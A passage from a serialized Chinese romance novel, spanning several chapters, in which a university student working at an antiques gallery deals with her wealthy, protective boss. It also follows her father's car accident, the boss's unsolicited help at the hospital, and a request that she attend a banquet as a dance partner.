朱岳平算得上最常来的客人之一,三十多岁的年纪,脾气温和,这次他在离开之前,意外来到展览室,递给钟缊酌一盒茶叶:“这是我南方老家种的铁观音,小姑娘怪辛苦的,拿去喝吧。” 钟缊酌忙拒绝道:“不不,朱总,我们不能随便要客人的东西,您还是赶紧收起来吧。” “哪儿有那么多规矩,你就当我给其他客人准备的,反正你每次都要给大家备茶。” “可是” 这个理由其实算说得过去,毕竟秦拂清也从来没说过不准拿客人的礼物,只是她自己觉得这样不好。 钟缊酌见他一直坚持,也不好再推辞,接过来说:“那好吧,谢谢朱总,您以后可别再这么客气了。” 古玩馆的茶叶都是有来头的,冯盛见莫名多出一盒,便问起钟缊酌怎么回事。 本是一件微不足道的小事,钟缊酌也没打算瞒着,“是朱总那天过来送的茶叶。” “他送你的?”冯盛琢磨出了一些不对味。 钟缊酌没在意,仍漫不经心地,“嗯,但他说可以给大家喝。” 冯盛摇头,这姑娘还是年纪太小,不懂那些老男人的套路。 他在内心挣扎许久之后,给秦拂清拨了个电话过去。 “秦先生,不是多大的事儿,但我想这也许不符合规矩,就决定跟您汇报一声。” 冯盛用简短的话术把事情复述了一遍,没有添油加醋也没有融入自己的猜疑。 他只做他觉得该做的,至于秦先生怎么看待这件事,全由他自己决定。 “知道了。”秦拂清淡淡回一句,便什么都没再说。 连续三周,古玩馆都没来过一个客人。 这是以前从没发生过的情况。 起初,钟缊酌以为是最近生意冷清,没什么人来,可到了第四周依然如此,她终于有些按耐不住了。 她找到冯盛,“冯伯,我想知道什么时候会有客人来?” 冯盛闻言,欲言又止的样子,最后道一句,“我不确定,或许你可以问问秦先生。” 钟缊酌点头说好。 她给秦拂清发了信息,他没回,但当天下午他人就到了古玩馆。 秦拂清悠然靠在那红木椅上,长腿闲闲搭着,神色松散,等待对面的女孩发话。 “秦总,最近这段时间馆里一直没有客人,请问这种情况会持续多久?” 秦拂清眼也不抬,只轻描淡写地回了句:“没有客人还不好吗,谁没事儿给自己找活干。” “但是这样我的工作就没有意义了,我不想整天来这里混日子。”钟缊酌声音轻柔,看过去的眼神却带着坚定。 “你怕我会找借口开了你?”秦拂清扬了扬眉,“你倒是挺居安思危。” 钟缊酌看不出这个男人到底怎么想的,是否在和她开玩笑。 她思忖片刻,郑重向他提问:“我记得您说过,如果古玩馆的客人都变成熟客的时候,那么这个岗位就没有存在的必要。所以,现在是不是已经到了这种情况?” “你不用考虑那么多。”尽管秦拂清在刻意压着气息,但还是能感觉到他口吻中的不悦,“你只管照常来,其它的事情我来处理。” 钟缊酌咬了咬嘴唇,豁出去般地反问一句:“那秦总有没有想过,您这么做会让别人怎么看?” 秦拂清没回答,用眼神示意她继续。 “我在这里不干活白拿钱,您就不怕传出去说您——” 秦拂清眼风一扫:“说我什么?” 空气陡然一滞,钟缊酌表情瞬间垮了,最后还是没能讲出那两个字。 他黝黑的瞳孔盯了她几秒,淡笑一声,替她开口道:“你是不是怕别人会说,我秦拂清在古玩馆里,包养了一个女大学生。” 作者有话说:评论区掉落红包~ 第38章 如此羞耻的两个字, 钟缊酌想不通,他是怎么能如此淡定讲出来的。 她瞬间就垂下了头,满脸窘迫,不停地绞着手指。 而秦拂清怕她又要胡思乱想, 没让这份尴尬持续太久, 他轻咳一声:“放心, 我没这种癖好。” 没这种癖好,那你是想当慈善家呀。 钟缊酌不说话,心思全写在脸上,意思你总得给我个解释吧。 秦拂清料是没想到有一天还能看一个姑娘的脸色讲话。 这还没怎么样呢,就给自己套成这样, 若是被那些同行们知道了,不得活活笑话死他。 秦拂清身子往后一靠, 不咸不淡地说:“你就不该收朱岳平送的礼物。” 听他说起这件事,钟缊酌睁大眼睛, 立马抗议:“那不是送我的礼物,是给客人们用的茶。” “有区别吗?”看她毫无戒备的样子, 秦拂清脑仁跟着一阵阵地疼, “他就是给你的,至于你用作什么, 那是你的事。” “可是, 可是您也没有说过不能收客人的礼物呀, 那盒茶叶不值几个钱, 我有分寸的。”钟缊酌也急了, 拿出规则来,试图跟他讲道理。 秦拂清冷笑一声:“你还是不明白,他今天能送茶, 下次就能送首饰,你收一次,就没道理拒绝第二次。要说多少遍才能长记性,离这些男人远点儿,就是不肯听话。” 这一刻,钟缊酌才终于反应过来,他究竟在训她什么。 为何坐拥一屋子古董的秦总会对一盒小小的茶叶如此介怀。 她脑子整个乱掉了,不可思议道:“您想到哪里去了,朱总已经结婚了,人家就是单纯送个礼而已。” “你以为结了婚就不能外面找女人了?说你单纯你还不爱听。”秦拂清端起茶,一副懒得跟她废话的模样。 “所以您是因为这个才不让客人们来的?” 秦拂清没回话,继续低头喝着茶,那就是代表默认了。 钟缊酌哭笑不得,真不知该感谢他还是该讲出心里话,说秦总您真是在这个圈子里待太久了,看谁都不像好人。 自从出了两次事之后,他似乎就觉得全天下的男人都对她图谋不轨似的。 太离谱了。 钟缊酌看着对面的人悠哉悠哉地喝完茶,又跟她讲:“还想不想接着干。” 钟缊酌实话实说:“想。” “那之后要注意什么,还用我再说一遍么?”秦拂清话语强势又直白,不急不缓地撂下杯子。 “不用,我会和客人们保持距离的。”她言辞恳切,表情肃然,就差没站起来宣个誓了。 秦拂清点头,那样子像是终于打算揭过这件事。 他敲着桌子,似是不经意问起:“你泡的茶?” 钟缊酌说是。 “手艺进步了。” 钟缊酌苦笑一声。 心里想,这算是,打一巴掌,再给个甜枣么- 周四这天,一上午的课结束,钟缊酌正准备去食堂吃饭。 她路过一排盛开的西府海棠,花枝艳丽夺目,香气四溢,还未来得及陶醉半分,却被一通电话吓得愣在原地。 母亲叶锦告诉她,钟启明方才打车去医院看胃病时,路上出了车祸,被一辆连跨两条车道的皮卡顶了出去,整个出租车差点儿给顶翻。 司机在前面有安全带和气囊好一些,父亲坐在后排,连安全带都没系,脑袋磕流血了,腿也骨折了。 “不过好在没有生命危险,头部有轻微脑震荡,医生说需要静养几个月。我俩就想,趁这段时间也调整下身体,跟那几个项目合伙人也说了,会线上跟进” 母亲絮絮叨叨地说着计划,可钟缊酌哪里听得进去这些,她现在只想赶紧飞到父亲身边去看看他。 “我爸在哪个医院?我跟老师请两天假过去。”钟缊酌呼吸都开始发颤。 “你别来了,耽误学习。”叶锦劝她,“反正也没有生命危险,有我在这儿看着就好。” “不行,我要去。”钟缊酌声音里带着哭腔,“您只会报喜不报忧,而且要不是我催我爸赶紧去看病,也不会出这个车祸” 钟缊酌心里愧疚,更担心母亲把事情简单化,她必须要亲自去看看才能放心。 叶锦拗不过她,只好同意,因为是闺女第一次一个人坐飞机,在电话里叮嘱她半天注意事项。 钟缊酌也不去吃饭了,先去找班主任写了假条,让宋黎若上课签到时帮她跟老师说一声,然后就去订机票,收拾行李。 宿舍里也没有行李箱,她拿上一个大的双肩包,随便从柜子里翻出两套换洗的衣物塞进包里。 深城温度高,不用带厚衣服,剩下就是身份证和一些零碎的生活用品。 钟缊酌订的是三点的机票,她收拾完后就打车去了机场,等坐上飞机时才想起来,她应该要给秦拂清也请个假。 广播里已经开始播报起飞前的安全提示,钟缊酌迅速编辑了一条信息:【秦总,家里出了事,这周不能去古玩馆了,很抱歉。】 很官方又很淡漠的一条请假申请,钟缊酌身心俱疲,已经没有心情再去好好组织语言了。 发出去之后,她便将手机调成飞行模式,没再看。 飞机下午六点半到达的深城,钟缊酌查好路线后,马不停蹄地赶往市医院。 这一路还算顺畅。 推开病房的门,钟缊酌看到前些天才说自己还年轻还能熬夜的父亲,此刻半躺在病床上,手腕插着输液管,脸上毫无血色,脑袋被白色绷带包裹得严严实实,而母亲正坐在旁边给他喂饭。 钟缊酌一路上所做地所有心里建设在这一瞬间全部崩塌。 她以为自己很坚强,能一个人从京市跑来深城,幻想着还能像个大人似地站在父亲面前,拍着胸脯说您放心,不管发生什么,有她在这个家就不会倒。 而此刻,她那毫不争气的眼泪就要夺眶而出。 叶锦见女儿站在门口发呆,以为她没看到他们,起身招呼一声:“闺女,在这边。” 这是一间三人床的病房,父亲躺在最里面。钟缊酌努力控制着情绪,用手背将从眼角溢出的泪水抹掉。 “妈——”她走过去,解释说,“刚才没问清楚病房的楼层,跑到四楼耽误了些时间。” 她轻描淡写地将自己的慌张揭过,蹲在床边,连书包都顾不得卸下,握着父亲的手,“爸,您怎么样了。” 钟启明看着闺女的脸,和蔼地笑笑,“没事儿,挺好的,都过去了。” “什么过去了,您还在医院躺着呢。”钟缊酌语气发闷,“您要听医生的话,好好修养知道么,工作的事就先放一放。” 看她这副执着的劲儿,钟启明无奈,只好先应诺下来。 “还没吃饭呢吧?”叶锦帮她摘下书包,“一会儿你先去附近找个饭馆填饱肚子,别饿坏了。” 钟缊酌没告诉他们中午她就没吃,硬撑着说:“晚些我再去,我想先看看爸的检查报告。” 她坐在病床旁的圆椅上,认认真真地看起那一摞检查结果,像是对一些细节不放心,又跑去问了医生几个问题。 夜里需要有人看守,钟缊酌自告奋勇表示交给她来。 “这几日就让我来吧,等我走后,您有的操劳呢。” 叶锦没跟她争,只摸着钟缊酌的头说,闺女长大了。 等这一切都安排好,钟缊酌才想起,手机还是飞行状态。 她重新调回来,指尖松开的瞬间,屏幕里即刻蹦出一条新的信息。 FU:【好。家里出什么事了?】 发送时间在四个小时之前。 钟缊酌的肚子发出一阵咕咕地声响。 她一边往外走,一边回复消息:【父亲出了车祸,我要赶来深城照顾他几天。】 FU:【严重吗?】 钟缊酌:【没有生命危险,但也撞得不轻,脑袋和腿部都受了伤。】 FU:【需要帮忙和我说。】 想是一些客套话,钟缊酌没在意,只简单回了个【嗯】。 然后把手机塞进口袋,一头扎进了夜幕里 连续守了两天夜,钟缊酌浑身软绵无力,头重脚轻地,仿佛只要一闭眼,就能立马昏睡过去。 周六这天一早,她照例和母亲交完班,准备回他们租的公寓补觉。 来到楼下,她的胃开始隐隐不舒服起来,仿佛有什么东西在里面灼烧。 钟缊酌这几天饮食不规律,很快得到反噬,她强打着精神来到街上的早餐摊,想打包份鸡蛋肠粉回去吃。 前面有两人排队,钟缊酌便自觉站在了后面。 她不喜欢排队时跟人紧挨着,和前面的人拉开有一米远的距离。 没一会儿,又走过来一个买早点的人。 是一个身型壮硕的中年男人,头发稀疏,戴了副方框眼镜。 这人边走边低头玩手机,二话不说直接插在了钟缊酌前面的位置。 本来身体就不舒服,这一下子更让她怒火中烧。 钟缊酌往后退了一步,没好气地提醒:“麻烦您到后面排队。” 男人转过头,看了眼钟缊酌,嗤声道:“我在排队啊,你没看见吗?” “那您应该排在我后面,我先来的。” “你先来的?你站那么远,我知道你干嘛的。” 钟缊酌瞪了瞪眼,“我站在这儿不是在排队还能干什么,我总不能跟人贴上去吧?” “那是你的问题,别人为什么没留这么大空隙?” 钟缊酌气坏了,有苦说不出,但队伍已经轮到他,老板在前面催促。她也不好再继续争执,只能认栽。 钟缊酌心里不痛快,买鸡蛋肠粉的时候让老板给她加了辣椒。 由此想到了一句话,人一旦赌上气就特别喜欢虐待自己的身体。 她托着这份来之不易的早餐,转身往红绿灯的方向走,却没注意到人行道上疾驰而来的一辆电动车。 钟缊酌脚步刚迈过去,一阵急促地鸣笛声传来。 她甚至来不及抬头去看,忽然感觉有一双手拽住了她的胳膊,整个身子向后仰去。 “小心点儿,都不知道看路。”秦拂清将人拽回后,又扶了下她的身子,紧接着眼前蹿过一道不明的黑影。 钟缊酌回过头,看到秦拂清一身白衬衫西裤,落拓倜傥地站在她旁边,眉目清朗。 她后知后觉反应过来发生了什么,心悸的同时,面对突然出现的男人,更是惊奇不已。 她明亮的眼眸里满是不可置信:“秦总,您怎么在这儿啊?” “来这边出差,路过市医院,想着或许能碰上你,结果刚刚在街旁正好看到你在买早餐。” 秦拂清回答得一板一眼,叫钟缊酌没生出半点儿怀疑。 她想,怪不得那天说有困难可以找他,原来他也在这个城市。 钟缊酌恍惚了一下,轻轻点头,“刚才得亏您出手相助,太感谢了。” 秦拂清颇感无奈的样子,“反射弧这么长啊。” “没办法,熬了两宿的夜呢。” 秦拂清眼底蒙上一层暗色,短暂注视她几秒,开口道:“现在是要回去休息吗?” “嗯,回去补觉。” “你住哪里?” “滨河大道那边。” 钟缊酌说完后便要和他摆手告别。 秦拂清突然喊住她:“缊酌。” “嗯?” 他说:“上我的车吧。” 钟缊酌眼神闪烁了一瞬。下意识说出:“总麻烦您” 秦拂清单手抄起口袋,侧过身子让出视线。 她顺势向前看,一眼望见街边明晃晃地停了一辆尊贵的迈巴赫。 仍然是黑色的车身,在阳光下反射着阵阵光泽。 “这里到滨河大道起码半小时的路程,加上堵车,你又要受好久的罪。不如去我的酒店休息,就在这附近。” 秦拂清平静地说出这个事实,就好像做出这个决策并非是他别有用心,单纯是在为她的情况考虑。 可不管他再怎么摆出一副朗朗君子的模样,钟缊酌心里仍受到了不小的惊吓。 秦拂清让自己去他的酒店睡觉? 他莫不是疯了? 她都能想象到院儿里那些姑娘们若是知道这件事,该怎么描绘出一幅风花雪月活色生香的画面来。 但同时,钟缊酌脑海里又有另外一个小人儿蹦出来。 说这里又不是京市,没人在意你们的,你都累成这样了,还管那么多做什么。 秦拂清阔步向前,几步走到车旁,单手拉开后车门。 然后点了点下巴,示意她过来。 这对常人来说,是极简单不过的动作,但放在秦拂清身上,是会让所有熟人见了都惊掉下巴的程度。 只有别人给秦总开门的份儿,哪儿见过他亲自做过这些。 钟缊酌到底只是一个二十岁的小姑娘,一份来自上位者的绝对尊重,让她短暂忘记了曾经下定过的决心——不要和这个男人产生太多交集。 她徐徐走到秦拂清身边,道声谢,然后在他的注视下,弯腰上了车。 作者有话说:评论区掉落红包~ 第39章 这个月份深城的气温已经飙到近三十度。 钟缊酌没带短袖来, 身上只穿一件针织衫,待在外面还觉得有些闷热,在开了空调的车里,温度倒是很适宜。 司机是一位没见过的年轻小哥, 手上戴着副白手套。 不知是入行时间短, 还是第一次接待秦拂清这种级别的领导, 他看上去有些紧张,脸绷得很紧。 “先生,我们现在去哪儿?”司机小哥问。 根据上面布置下来的任务,原本是计划见几个当地对接投资项目的政府官员,可这位秦总自打昨天来了之后, 就要求把今天的时间空出来,也不说要具体做什么。 秦拂清只不动声色道:“回酒店。” 司机瞥了眼跟着一起上来的女孩, 一颗八卦心燃起,却又不敢乱猜, 一动不动目视着前方:“明白。” 十分钟之后,车子便开到了酒店楼下。 相当奢华的一座商务酒店, 楼层很高, 一眼望不到顶。 门口穿着制服的保安主动上前引路,进入大厅后, 又有妆容精致的前台小姐礼貌向两人问好。 钟缊酌手里拎着早餐, 跟在秦拂清后面。 看到工作人员脸上那过分热情的笑容, 又心虚将头摆正, 装出毫不在意的样子。 秦拂清按下电梯, 去的是顶层总统套房。 电梯的失重感让钟缊酌原本平静的内心忽然变得心神不宁起来。 她下意识捏紧了塑料袋子。 秦拂清从玻璃镜面里察觉到女孩细微的动作,喉结滚了滚,一路沉默的他终于开了口:“不用太紧张, 这里的工作人员嘴巴都很牢,不会出去乱说。” 经过上次钟缊酌的“提醒”,他也明白这姑娘挺担心周围人会误会两人的关系。 只是被他这么一说,就好像俩人真的要去干什么似的。 钟缊酌被头发盖住的耳尖犯起红晕,她轻轻应诺一声,“好。” 其实钟缊酌心里想说,一点都不好。 她已经开始后悔做出这个决定了。 秦拂清刷开房间的门,里面的布置也是奢华到极致。 纹理细腻的大理石地板上倒影出顶部的水晶吊灯,雍容典雅的一套实木家具,透过环幕落地窗,天边一抹浅蓝映进屋内。 看到这一幕,钟缊酌实属被惊到了。 满脑子在想,这是出差后就放飞自我了吗?若是在京市,他哪里会在工作期间明目张胆住这样的酒店呀。 钟缊酌走到餐桌旁,将那份鸡蛋肠粉拿出来,准备迅速解决完去睡觉。 她已经没有精力再想那么多乱七八糟的事情。 “你就吃这个?”秦拂清低头看了眼。 “嗯。” “还放辣椒?” “嗯。” “一大早就吃辣,也不怕胃吃坏了。” 钟缊酌小声嘀咕,我胃已经坏了,权当以毒攻毒吧。 秦拂清皱眉:“别吃了,给你换份别的。” 她头也不抬:“不要了太麻烦,我好困,不想等了。” 哪知面上沉稳的秦总竟然手比嘴还快,一把抽走了她眼前的食物。 “现在时间还早,我让大厨送过来一份热乎的,几分钟就好。” 他走到沙发旁去给前台打电话。 等电话打完,回头一看,小姑娘已经窝在了沙发一角,眼睛闭起,不知睡没睡着。 秦拂清无奈摇头,去卧室里给她拿了张毯子盖在身上。 “谢谢。”她阖着眼睛说。 钟缊酌是在入梦的一瞬间被叫起来的。 谁都难以克服这样铺天盖地的困意,哪怕对面站着是那位位高权重的秦总。 “缊酌,快起来。”秦拂清拍了拍她的后背。 “我不吃了,我要睡觉。”她嘟囔着翻了个身。 “那也不能在这里睡,先起来。” 可任秦拂清怎么呼叫,那蜷缩在毯子里的小小身影都没再有任何反应。 秦拂清轻轻吸了口气。 他凑到她耳边:“你再不动,我要抱你起来了。” 这句话犹如一颗惊雷,在钟缊酌周围“嘭”一声炸开,愣生生将她从梦境中重新拽了出来。 “什么?”她眯着眼回头和他确认。 “我说,我要抱你——” 话还没说完,钟缊酌像只受惊的兔子,立马掀开毛毯,连滚带爬地滚下了沙发。 所幸被秦拂清扶了一把胳膊,不然非要摔个大屁股墩儿不可。 秦拂清看着她这副样子,顿感又好气又好笑。 他问:“还吃不吃?” 这么一闹,钟缊酌已然清醒了七八分,摸摸头,不好意思道:“吃。” 于是钟缊酌乖乖坐到餐桌旁,拿起眼前的松露小笼包,轻轻咬了一口。 浓郁的香气占满舌尖,不知不觉间就吃掉了三个,接着又喝了一碗鸡丝粥。 坐在沙发上看报纸的秦拂清一直等着她吃完,唇角扬起一丝不易察觉的笑,“好吃吗?” 钟缊酌擦了擦嘴,“好吃,谢谢款待。” “我去哪个屋睡呀。”她问。 秦拂清站起身,“跟我来。” 他带着她来到客房,并留下一张房卡,“你睡醒后我应该已经离开,记得将房卡拿走,想休息随时再过来。” 秦拂清说得如此自然,就好像他对她的帮助都是理所当然。 “秦总,房卡我就不拿了。今天打扰您已经很不好意思,之后我应该也不会再来。” 钟缊酌将卡片双手递过去。 秦拂清背着手,没去接。他眼底氤氲着一片乌沉的云。 “你也不是第一次打扰我,总是这样客气来客气去的,累不累?” 钟缊酌很想赌气说一句“我保证这是最后一次打扰您”,可又觉得那样未免太过无情。 她垂下胳膊,无力地表示:“那好,我就先收下。” 收下只是缓兵之计,不至于驳他的面子。 但钟缊酌知道,她不会再来这里了- 钟缊酌这一觉一直睡到下午两点。 她伸了个懒腰,又花了十分钟让自己混沌的大脑重新开机。 起来以后,看到诺大的套房里已空无一人。 虽然白天可以补觉,但这熬一晚上实在痛苦,她走了以后,母亲自己可怎么办? 她决定跟叶锦去商量一下,明天开始给父亲请个护工算了。这点钱不至于非要省。 钟缊酌简单洗了把脸,收拾好随身物品,便出了门。 来到医院,钟缊酌照例坐电梯到三层,一踏进病房,却发现最里面的床位没有人,已经完全空了。 她回头又看看房间号,是这间没错。 钟缊酌有点懵。 她出来给叶锦打电话,响了半天也没人接。最后钟缊酌跑去诊台问护士,对方一听到她打听的名字,立马变得无比热情:“您问钟先生啊,您是他女儿吗?” 钟缊酌点头,“是的。” “他已经搬到了五层单间,我带您去。” 父亲换了病房?钟缊酌觉得不可思议。 为什么这么突然,甚至都没告诉她? 她带着满脑子疑问,跟着护士上了电梯。 五层病房的条件显然比楼下要好许多,都是独立的病房,设施也更齐全。 来到最里面的那一间,护士说钟先生在里面,您有任何问题可以随时找我们。然后带着笑容转身离去。 钟缊酌实在不理解,仅仅半天时间,怎么这里的一切就发生了如此翻天覆地的变化,陌生得让她感到不真实。 钟缊酌推开门,看到父亲依旧半躺在病床上,床架支起撑着后背,手腕处打着点滴,而母亲则坐在旁边帮他剥橘子。 “爸,妈。换病房了怎么不告诉我一声呀?”钟缊酌走过去,有点嗔怪的意思,“刚刚没找到你们,打电话也不接,真吓死我了。” “咦,不是你托朋友帮忙安排换的吗?”叶锦把橘子撂下,拽过一把椅子,“先坐这儿来。” 这一下钟缊酌更迷惑了,她托朋友?她在深城哪里来的朋友? 见事情有些不对劲,叶锦拉过她的手,表情严肃,“你想想,你认不认识一位姓秦的朋友?” 刹那之间,钟缊酌全部明白了过来。原来是秦拂清。 所以他今早走了之后,就去安排了这些吗? 钟缊酌此刻心里不知是什么滋味儿,相比为父亲能住在一个舒适环境而感到的那份开心,占据内心更多的,是彷徨。 她又欠了他一次,她已经还不过来了。 “您这么一说我就想起来,的确认识一位姓秦的朋友,回头我再去感谢一下人家。” 父母已经这么辛苦,钟缊酌不想他们再为她的私事操心,没解释太多。 “你这位朋友可真不简单,还认识院长呢,给你爸换了主任医师,又请了护工。我是觉得不好意思,就说暂时先不用了。” 钟缊酌低着头,不敢看母亲的眼睛。 她听出她话里有话,可她又该怎么解释呢? 说这位秦总是京里的大人物,人脉广,认识院长也不是什么稀奇事儿,人家也不止帮她这么一次了。 母亲定要再问,他为什么总帮你?是不是对你有意思?钟缊酌可不想再花上半天功夫,跟父母掰扯这里面的是是非非,说这样的人物,是普通人能肖想的吗?你能猜到他有几分真情,几分假意。再者,人家指不定就是看她一个小姑娘可怜,可别太自作多情了。 “闺女,这位朋友是你同学吗?你们怎么认识的呢?”钟启明也忍不住问。 “以前做兼职认识的,应该是恰好在这边有人脉,顺手帮了一把。” “我回去请他吃饭吧,你们就别管了。” 周日一早,深城下起了小雨。 钟缊酌订了下午五点的机票,叶锦来换班时,叮嘱她下午睡醒后直接去机场,别再来医院折腾一圈。钟缊酌说好。 临走前,钟缊酌联系了病房护士站,说她要请一个护工,并且说明这算她请的,她自己付钱。 做完这一切,钟缊酌直接回了公寓,什么也不想想,闷头就睡。 睡着后,她梦见自己变成了一只泡泡,在天空飘啊飘,从京市一直飘到了深城,可深城人生地不熟的,她找不到父母在哪儿。又听人说父亲好像出了车祸,她就到处打听医院的位置,但泡泡没办法开口说话,她急得团团转,最后啪地一声,泡泡破了。 天旋地转中,被一阵闹铃吵醒。 她惶然坐起,听着窗外细密的雨声,思绪才慢慢回归到现实。 钟缊酌爬起来,拿出一套新衣服,准备去冲个澡。 她翻包时,无意中摸到一张硬卡片,心里陡然一凉。 酒店还有一张房卡在她这里呢,差点儿就给人带走了。 钟缊酌急忙换好衣服,给秦拂清发过去一条信息。 钟缊酌:【秦总,我一会儿就要去机场,咱俩能否见个面?我把酒店房卡还你。】 她要么是太着急,要么是睡太迷糊,这一大段话里,完全没了礼貌用词。 几分钟后,屏幕里冒出来新的消息。 FU:【你在哪里。】 这个口吻,听着不大高兴似的。 钟缊酌立马改掉用词,给他回:【我在滨河大道这边。您发我个定位就好,我现在过去。】 FU:【把你小区名字发过来,然后在那儿等我。】 钟缊酌盯着那一行字,叹口气,最后也只能乖乖照做。 只是她没想到秦拂清能这么快赶过来。 那会儿她刚冲完澡,头发正吹一半,手机屏幕就亮了。 FU:【收拾好行李下来。】 钟缊酌小心翼翼地问:【您要送我去机场吗?】 FU:【下雨路上堵,你不好打车。】 秦拂清就是这样一个人,他既不强迫你也不讲那些好听的话,但总有方法让你顺从他要做的事。 钟缊酌知道,这个男人段位太高,自己是拗不过他的。 她迅速打包好行李,然后将头发吹个七分干,才疾步下了楼。 司机小哥早已打着伞守在楼道门口,将人送上车后,又帮忙把行李放进了后备箱。 钟缊酌说了句感谢的话,秦拂清未回应,只是在她未干透的头发上停留几秒,吩咐司机关了空调。 这一路很安静,钟缊酌几次想找个话题打破沉默,都没有成功。 直到她去背包里掏手机,才回想起来,差点儿漏掉重要的事。 钟缊酌将那张房卡一并掏出,恭恭敬敬递给旁边的人:“秦总,这个给你。” 秦拂清歪头瞥了眼,然后从她的掌心里拿走。 他粗粝的指腹蹭到她的掌心,有些发痒。 窗外淅淅沥沥的雨连绵不断,水珠打在玻璃上,划出一道长痕。秦拂清心底也跟着泛起潮意。 他松了松领口,“不愿意接受我的好意,最后还不是上了我的车。” 钟缊酌放在膝盖上的手指立即蜷缩起来。 他这么介意的吗? 钟缊酌失笑道:“每次落魄时都碰巧遇上您,您也总愿意帮我,我心里感激,但不想欠债太多,怕日后还不起。” “谁要你还了,自作多情。”秦拂清轻哼一声,“我看你接受吴少维和涂敬舟的好意时,也没怎么犹豫过。” 钟缊酌被这话噎得说不出话来。 她垂下头,低眉顺眼,“您就当我是自作多情吧。” 人就是这样,一旦对方跟你对着干,却又拿出摆烂的态度,顺着你讲话时,恼火程度能瞬间翻倍。 秦拂清闷了半天,最后咬牙吐出一句:“这世上哪有那么多巧合,你也不动脑子想想。” 钟缊酌头垂得更深,整个身子恨不得埋进车底。 她耳畔轰鸣,大脑缺氧,脸红得快要滴血,到了最后,也只能喃喃自语般应道:“秦总说话太深奥,我听不懂。” “听不懂就对了。” 秦拂清撇过视线,不想再搭理她。 话说到这份上,感情上再迟钝的人也能品出个一二来。 她装傻不肯面对,大概率是信不过他的用心。 秦拂清领教过她的厉害,知道这样的姑娘强迫不来。 但没关系,他不急,他可以等。 作者有话说:含泪求营养液… 评论区掉落红包~ 第40章 季昌打包好最后一箱文件, 起身看向坐在沙发上的男人:“秦总,除了一些生活用品,其它重要的物品已全部装完。” 秦拂清微微点头,却没再发话, 沉默着抽完一根烟, 直到季昌再次开口提醒:“秦总, 时间不早了,我们” 秦拂清将那早已燃尽的烟头扔进垃圾桶里。忽然掀起眼皮,说了一句:“老季,以后你来监督我戒烟。” 季昌愣了愣,不禁汗颜。 心道, 我若是管得住,还至于让您堕落到现在? 但他还是郑重应下来, “请您放心,我会尽力而为。” 秦拂清长腿撂下, 最后扫了一圈屋子,淡声说:“走吧。” 季昌问:“那剩下的这些生活用品, 您看怎么处理?” “留着, 这屋子也要派人定期打扫。”秦拂清吩咐道。 车上还载着一些名贵字画,季昌不敢开太快, 蜗牛似的速度终于驶到了胡同外的那条街, 他定睛一看, 发现对面姑娘的身影有些眼熟。 “秦总, 您看前面站着的是不是霍小姐?” 霍苡琳穿一件碧绿的碎花裙子, 画着淡妆,脸上虽有几分憔悴,却盖不住那一副倾城的容颜。 她四处张望着, 显然是在等人。 前些日子,在霍严纲的劝说下,霍丰已然打算放弃这段联姻,奈何霍苡琳仍旧不甘心,非要亲自来问个清楚。 秦拂清揉了揉眉心,语调不轻不重:“停车吧。” 车子停稳后,霍苡琳也看到了这边的人,她走过去,季昌为她打开后车门:“霍小姐,请上车。” 霍苡琳抚了下裙摆,尽管先前在他这儿丢了颜面,但今后两人大概率不会再有瓜葛,她便无所顾忌地面向旁边的男人:“秦总,听说你有了女朋友,我能问问是哪家的姑娘吗?” 秦拂清笑笑:“看来霍老先生没少在背后诽谤我。” 他稍稍坐正了身子,不打算跟她拐弯抹角,“霍小姐,其实我有没有女朋友,我们两个人之间的关系也不会有任何改变。把时间浪费在我身上,对你来说没有任何好处。” 霍苡琳料是没想到,他会如此不近人情。 那一副温润样子说出的话,比情场里的浪荡公子哥还要杀人诛心。 她是真想不通自己究竟差在哪儿,怎么就入不了这位主的眼。 “那我能再冒昧问一句,秦总对未来伴侣有什么要求?” 秦拂清面不改色道:“我不想跟你讨论这些,但我想,真遇上心仪之人,所谓的标准反而都不重要了。” 霍苡琳最后是带着一些愠怒下车的。 或许有一天,在遇上那个和她无条件相爱的人时,她也会得到她想要的答案,但不会是在秦拂清这里。 季昌重新坐回到驾驶位上,秦拂清有些疲惫地问他一句:“最近秦政庭有没有再找过你。” “没有,秦总。” “您这一年工作接手得很顺畅,老爷子应该是放心了。” 秦拂清视线微凝,盯着窗外随风轻扬的垂柳,只道一声,“好。”- 四月底,钟缊酌和宋黎若两人故地重游,再次来到京大的鸣鹤园。 终于赶在那流苏树开花之际,欣赏到一次传说中的“四月雪”。 钟缊酌昂着头,静静望着那一片雪白的伞形小花,神色淡然,眼睛里也没有了昔日的那份期待。 她兀自站立许久,好似心事重重,宋黎若在旁边喊了好几遍她的名字。 “缊酌,缊酌,你在想什么呀?” 钟缊酌惶然回过头,表情茫然。 她指着自己的脸:“你刚刚跟我说话了?” 宋黎若无语撇嘴:“我跟你说半天了,你一句都没理我。” “啊抱歉,我没听到。” 宋黎若走近了些,“最近总见你发呆,是不是有什么事瞒着我?” 钟缊酌很想说,是啊,有一件让她抓耳挠腮整夜睡不着觉的事,可这件事又让她如此难以启齿。 “若若,我问你,你说阶级差距很大的两个人如果在一起,是不是注定会以悲剧收场。” 钟缊酌说完这句话之后,把自己都吓一跳。 还八字没一撇的事,她怎么直接跳到这一步了? “我是看完一部电影突发的感慨,你别多想。”她心虚补充道。 “那可不一定,还要看两人的感情有多深。”宋黎若摸了摸下巴,没察觉到好友的异常,“感情深的话可排除万难,但如果只是一时冲动在一起,就算门当户对早晚也会分开。” 钟缊酌不能否认,她说得确实有几分道理。 可谁又能确定,这段感情到底是不是从一时激情开始的呢。 口袋里的手机忽然响了一下,硬生生将她纷乱的思绪扯回。 钟缊酌调出信息,低头看了眼。 吴少维:【缊酌,有时间吗?想请你帮个忙。】 这是几分钟之前发来的。 下一条,他打了很长一段:【是这样,下周我要参加一个项目招商会,作为单位项目对接人我需要参加主办方设的晚宴,但目前没有合适的舞伴,不知你愿不愿意当一次舞伴陪我出席这个活动?】 钟缊酌读了两遍,在那一长串文字中迅速挑出了重点。 她要作为他的舞伴去参加一个晚宴。 下周要放五一假了,时间上是没问题。但若说句心里话,钟缊酌肯定是不怎么想去的。 她本身就不喜欢这样的活动,还要和一个非情侣关系的人在那儿尴尬地跳舞,想想就觉得脑仁疼。 “怎么了?”宋黎若凑过来问。 钟缊酌关闭屏幕,“我在想时间不早了,我们该回去了吧。” 宋黎若耸耸肩,“那走吧。” 钟缊酌知道,尽管她心里有一千一万个不愿意,也没办法直接拒绝吴少维。 谁让他当初帮过自己那么大一个忙。 两天后的一个夜晚,钟缊酌收到了几款礼裙样式的图片,是吴少维发来的。 他自然不好让她自己去买参加宴会的衣服,于是主动挑了几款让她来选。 